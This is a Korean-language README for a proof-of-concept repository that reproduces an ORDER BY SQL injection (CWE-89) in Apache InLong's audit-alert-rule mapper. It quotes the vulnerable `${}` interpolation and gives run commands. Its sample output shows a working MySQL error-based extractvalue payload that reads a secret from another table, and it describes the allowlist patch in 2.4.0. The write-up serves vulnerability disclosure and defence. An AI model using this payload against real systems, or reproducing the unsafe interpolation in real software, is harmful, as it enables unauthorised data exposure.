CVE-2026-63039 — Apache InLong AuditAlertRule ORDER BY SQL 인젝션

Apache InLong의 audit-alert-rule 쿼리에서 발생하는 SQL 인젝션에 대한 실행 가능한 개념 증명(PoC) 재현기입니다.

InLong manager 매퍼 AuditAlertRuleEntityMapper.selectByCondition는 안전한 MyBatis #{} 파라미터로 필터링하지만, 두 요청 필드를 ${} 문자열 보간으로 정렬합니다.

<!-- inlong-manager/manager-dao/src/main/resources/mappers/AuditAlertRuleEntityMapper.xml  (InLong 2.0.0–2.3.x) -->
order by ${request.orderField} ${request.orderType}

orderField와 orderType는 페이지 요청(AuditAlertRulePageRequest)에서 비롯되므로 공격자가 통제할 수 있으며 SQL에 그대로 연결됩니다 — 즉 ORDER BY SQL 인젝션(CWE-89)입니다. 이 PoC는 MySQL 오류 기반(error-based) 페이로드를 orderField에 주입하여 관계없는 테이블에서 비밀값을 읽어냄으로써 임의 데이터 노출을 입증합니다.

실행

mvn -q -DskipTests package
docker compose up --build     # starts MySQL, seeds it, runs the one-shot PoC
docker compose down -v

취약한 코드 경로에서의 예상 출력:

[1] Benign request (orderField='id', orderType='ASC'): 3 rows
      AuditAlertRule{id=1, inlongGroupId=group_a, alertName=latency rule}
      ...
[2] Malicious request (orderField = error-based payload):
      orderField = extractvalue(1,concat(0x7e,(select secret_value from manager_secrets limit 1)))
      extracted from another table via the injected subquery: INLONG-SECRET-63039
>>> PROVEN: ... ORDER BY SQL injection (CWE-89): true

취약점 요약

패치 사항

Apache InLong 2.4.0은 orderField / orderType이 매퍼에 도달하기 전에 알려진 정렬 가능한 컬럼과 방향의 허용 목록(allowlist)과 대조하여 검증합니다(ORDER BY 컬럼 이름은 #{} 파라미터로 바인딩할 수 없으므로 정렬 입력값은 파라미터화가 아닌 검증이 필요합니다).

이 저장소의 MyBatis 매퍼, 엔티티 및 요청 pojo는 InLong 원본을 그대로 반영하므로 인젝션 싱크(order by ${request.orderField} ${request.orderType})가 있는 그대로 재현됩니다.

면책 조항

이 저장소는 교육 및 방어 목적으로 게시되었습니다: Apache InLong 사용자가 취약점을 이해하고, 영향 여부를 확인하며, 업그레이드로 해결되는지 확인하는 데 도움을 주기 위함입니다. 페이로드는 로컬 테이블의 데모 비밀값만 읽습니다. 소유하거나 운영하지 않는 시스템에 이 자료를 사용하지 마십시오.